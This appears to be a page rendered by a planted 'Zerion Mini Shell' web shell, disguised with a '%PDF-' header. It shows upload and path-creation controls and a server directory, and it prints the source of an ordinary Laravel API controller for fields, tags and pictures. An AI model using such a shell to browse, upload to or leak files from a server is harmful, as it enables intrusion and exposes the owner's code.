%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /var/www/html/shaban/duassis/api/app/Http/Controllers/Api/v1/
Upload File :
Create Path :
Current File : //var/www/html/shaban/duassis/api/app/Http/Controllers/Api/v1/FieldsController.php

<?php

namespace App\Http\Controllers\Api\v1;

use App\Exceptions\AppException;
use App\Http\Controllers\Api\ApiController;
use App\Http\Requests\Api\v1\Fields\CreateFieldRequest;
use App\Http\Requests\Api\v1\Fields\UpdateFieldRequest;
use App\Http\Requests\Api\v1\Fields\UpdatePreviewRequest;
use App\Models\Field;
use App\Models\Tag;
use App\Models\User;
use App\Transformers\FieldTransformer;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\DB;
use Spatie\MediaLibrary\Models\Media;

class FieldsController extends ApiController
{
    /**
     * @var FieldTransformer
     */
    private $transformer;

    /**
     * FieldsController constructor.
     * @param FieldTransformer $transformer
     */
    public function __construct(FieldTransformer $transformer)
    {
        $this->transformer = $transformer;
    }

    public function index(Request $request)
    {
        $fields = Field::query();

        if ($category = $request->get('category')) {
            $fields = $fields->whereHas('categories', function ($q) use ($category) {
                $q->where('category_id', $category);
            });
        }

        if ($utility = $request->get('utility')) {
            $fields = $fields->whereHas('utilities', function ($q) use ($utility) {
                $q->where('utility_id', $utility);
            });
        }

        if ($search = $request->get('search')) {
            $language = app()->getLocale();
            $fields = $fields->where("name->$language", 'like', "%$search%");
            $fields = $fields->orWhere("description->$language", 'like', "%$search%");
        }
        $fields = $fields->paginate($request->get('perPage'));
        return $this->withPaginated($fields, $this->transformer);
    }

    public function show(Field $field)
    {
        return $this->item($field, $this->transformer);
    }

    public function store(CreateFieldRequest $request)
    {
        try {
            $data = $request->only([
                'name',
                'description',
                'capacity',
                'user_id',
                'categoriesId',
                'utilitiesId'
            ]);
            /** @var Field $field */
            $field = Field::createItem($data);
            return $this->item($field, $this->transformer);
        } catch (\Exception $e) {
            return $this->wrongArguments([
                'message' => $e->getMessage(),
            ]);
        }
    }

    public function update(UpdateFieldRequest $request, Field $field)
    {
        DB::beginTransaction();
        try {
            $field->name = $request->get('name');
            $field->description = $request->get('description');
            $field->capacity = $request->get('capacity');
            $field->client()
                  ->associate($request->get('user_id'));
            $field->save();
            $field->categories()
                  ->sync($request->get('categoriesId'));
            $field->utilities()
                  ->sync($request->get('utilitiesId'));
            DB::commit();
            return $this->item($field, $this->transformer);
        } catch (\Exception $e) {
            DB::rollBack();
            return $this->wrongArguments([
                'message' => $e->getMessage(),
            ]);
        }
    }

    public function destroy(Field $field)
    {
        try {
            $field->delete();
            return response()->json([], 204);
        } catch (\Exception $exception) {
            return $this->wrongArguments([
                'message' => $exception->getMessage(),
            ]);
        }
    }

    public function uploadPicture(UpdatePreviewRequest $request, Field $field)
    {
        DB::beginTransaction();
        try {
            $field->uploadPicture($request->get('image'));
            $field->save();
            DB::commit();
            return $this->item($field->fresh(), new FieldTransformer);
        } catch (\Exception $e) {
            DB::rollBack();
            return $this->wrongArguments([
                'message' => $e->getMessage(),
            ]);
        }
    }

    public function deletePicture(Field $field, Media $media)
    {
        if ($media->model_id === $field->id) {
            try {
                $media->delete();
                return response()->json([], 204);
            } catch (\Exception $exception) {
                return $this->wrongArguments([
                    'message' => $exception->getMessage(),
                ]);
            }
        }
    }

    public function addTag(Field $field, $tag)
    {
        DB::beginTransaction();
        try {
            $tag = Tag::updateOrCreateByName($tag);
            $field->tags()
                  ->attach($tag);
            DB::commit();
            return $this->item($field->fresh(), new FieldTransformer);
        } catch (\Exception $e) {
            DB::rollBack();
            return $this->wrongArguments([
                'message' => $e->getMessage(),
            ]);
        }
    }

    public function removeTag(Field $field, Tag $tag)
    {
        try {
            $field->tags()
                  ->detach($tag);
            return response()->json([], 204);
        } catch (\Exception $exception) {
            return $this->wrongArguments([
                'message' => $exception->getMessage(),
            ]);
        }
    }
}

Zerion Mini Shell 1.0